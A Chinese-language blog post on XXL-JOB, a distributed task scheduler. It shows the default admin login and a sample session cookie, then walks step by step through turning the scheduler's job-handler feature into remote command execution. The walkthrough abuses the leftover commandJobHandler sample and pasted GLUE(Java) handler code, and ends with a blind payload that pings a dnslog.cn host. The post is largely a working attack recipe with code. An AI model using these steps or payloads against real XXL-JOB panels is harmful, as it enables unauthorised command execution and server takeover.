什么是XXL-JOB
https://www.xuxueli.com/xxl-job/#%E4%B8%80%E3%80%81%E7%AE%80%E4%BB%8B
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。
下载:
https://github.com/xuxueli/xxl-job/archive/refs/tags/2.3.1.zip
...
然后根据教程运行:
https://www.xuxueli.com/xxl-job/#%E4%BA%8C%E3%80%81%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8
启动XxlJobAdminApplication
后就能见到这个页面了:
然后也启动XxlJobExecutorApplication
执行器,自动会与调度中心链接。
初始密码:admin/123456
cookie:
Cookie: xxljob_adminlte_settings=off; XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d
XXL-JOB RCE?
XXL-Job的此类命令执行是它预期内的正常功能,并不是非预期的。
由于登录的口令强度问题,或者cookie泄露问题,未授权问题,造成的rce。使之成为了问题。
在寻找了github很多poc之后发现:基本上是基于shell
、powershell
运行模式的poc,但是在一些实战情况下并不乐观的执行shell
、powershell
所以github上面的poc过于单一
而实际运行模式有7个:
BEAN
GLUE(Java)
GLUE(Shell)
GLUE(Python)
GLUE(PHP)
GLUE(Nodejs)
GLUE(Powershell)
jas502n师傅的:
https://github.com/jas502n/xxl-job
是执行不了的
github上搜xxljob
xxl-job rce
的都不行,在默认的运行模式情况下poc都失效
所以,理论上,这些脚本是运行不了的,如果是在建设的项目,那么能运行就是因为配置了运行模式。
XXL-JOB RCE!
在实战及事后发现一些运行模式默认情况下还是有可以作为RCE的东西:
BEAN
跟GLUE(Java)
在默认情况下是可以使用的,这里给出RCE方案:
分析:
根据官方文档给出的解释:
https://www.xuxueli.com/xxl-job/#3.2%20BEAN%E6%A8%A1%E5%BC%8F%EF%BC%88%E6%96%B9%E6%B3%95%E5%BD%A2%E5%BC%8F%EF%BC%89
可以被BEAN调用的就可以执行,怎么能通过BEAN识别?上面文档也做了说明:
在src/main/java/com/xxl/job/executor/service/jobhandler/SampleXxlJob.java
里:
/**
* XxlJob开发示例(Bean模式)
*
* 开发步骤:
* 1、任务开发:在Spring Bean实例中,开发Job方法;
* 2、注解配置:为Job方法添加注解 "@XxlJob(value="自定义jobhandler名称", init = "JobHandler初始化方法", destroy = "JobHandler销毁方法")",注解value值对应的是调度中心新建任务的JobHandler属性的值。
* 3、执行日志:需要通过 "XxlJobHelper.log" 打印执行日志;
* 4、任务结果:默认任务结果为 "成功" 状态,不需要主动设置;如有诉求,比如设置任务结果为失败,可以通过 "XxlJobHelper.handleFail/handleSuccess" 自主设置任务结果;
*
* @author xuxueli 2019-12-11 21:52:51
*/
/**
* 1、简单任务示例(Bean模式)
*/
@XxlJob("demoJobHandler")
...
/**
* 2、分片广播任务
*/
@XxlJob("shardingJobHandler")
...
/**
* 3、命令行任务
*/
@XxlJob("commandJobHandler")
public void commandJobHandler() throws Exception {
String command = XxlJobHelper.getJobParam();
int exitValue = -1;
BufferedReader bufferedReader = null;
try {
// command process
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command(command);
processBuilder.redirectErrorStream(true);
Process process = processBuilder.start();
//Process process = Runtime.getRuntime().exec(command);
BufferedInputStream bufferedInputStream = new BufferedInputStream(process.getInputStream());
bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
// command log
String line;
while ((line = bufferedReader.readLine()) != null) {
XxlJobHelper.log(line);
}
// command exit
process.waitFor();
exitValue = process.exitValue();
} catch (Exception e) {
XxlJobHelper.log(e);
} finally {
if (bufferedReader != null) {
bufferedReader.close();
}
}
if (exitValue == 0) {
// default success
} else {
XxlJobHelper.handleFail("command exit value("+exitValue+") is failed");
}
}
/**
* 4、跨平台Http任务
* 参数示例:
* "url: http://www.baidu.com\n" +
* "method: get\n" +
* "data: content\n";
*/
@XxlJob("httpJobHandler")
...
/**
* 5、生命周期任务示例:任务初始化与销毁时,支持自定义相关逻辑;
*/
@XxlJob(value = "demoJobHandler2", init = "init", destroy = "destroy")
BEAN执行命令
BEAN
模式下一共有五个Job样例:
demoJobHandler
shardingJobHandler
commandJobHandler
:所见即所得,可以执行命令
httpJobHandler
:HTTP请求,可以认为是SSRF,交互不太方便。
demoJobHandler2
,如果开发者没有删除这些样例,我们就可以RCE了
根据上面的代码,很明显@XxlJob("commandJobHandler")
是我们需要关注的,这里就是我们执行的点。
参数通过**任务参数***
传递。(这些一般在docker里面,)
现在如何去执行命令:
选择执行器
执行器如果选示例执行器就更稳了。
JobHandler 填写commandJobHandler
任务参数 填写需要执行的命令如 whoami
至此已经通过BEAN
的运行模式执行了命令。
Java执行命令
既然上面的Job是Java写的,自然可以copy一下:
同理
package com.xxl.job.service.handler;
import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
@Override
public void execute() throws Exception {
String command = XxlJobHelper.getJobParam();
int exitValue = -1;
BufferedReader bufferedReader = null;
try {
// command process
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command(command);
processBuilder.redirectErrorStream(true);
Process process = processBuilder.start();
//Process process = Runtime.getRuntime().exec(command);
BufferedInputStream bufferedInputStream = new BufferedInputStream(process.getInputStream());
bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
// command log
String line;
while ((line = bufferedReader.readLine()) != null) {
XxlJobHelper.log(line);
}
// command exit
process.waitFor();
exitValue = process.exitValue();
} catch (Exception e) {
XxlJobHelper.log(e);
} finally {
if (bufferedReader != null) {
bufferedReader.close();
}
}
if (exitValue == 0) {
// default success
} else {
XxlJobHelper.handleFail("command exit value("+exitValue+") is failed");
}
}
}
很明显就可以rce了,命令也是通过任务参数*传进去
或者无回显精简版:
package com.xxl.job.service.handler;
import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
@Override
public void execute() throws Exception {
Runtime.getRuntime().exec("ping 3zttuc.dnslog.cn");
}
}
XxlJob-Hessian-RCE
后面写了再说。
通过这次的实践,发现公开的脚本缺陷,然后需要自己去改。漏洞不是不存在,而是POC规则写的不到位
需要更精进一步去复现看细节。
本文作者为MCtech,转载请注明。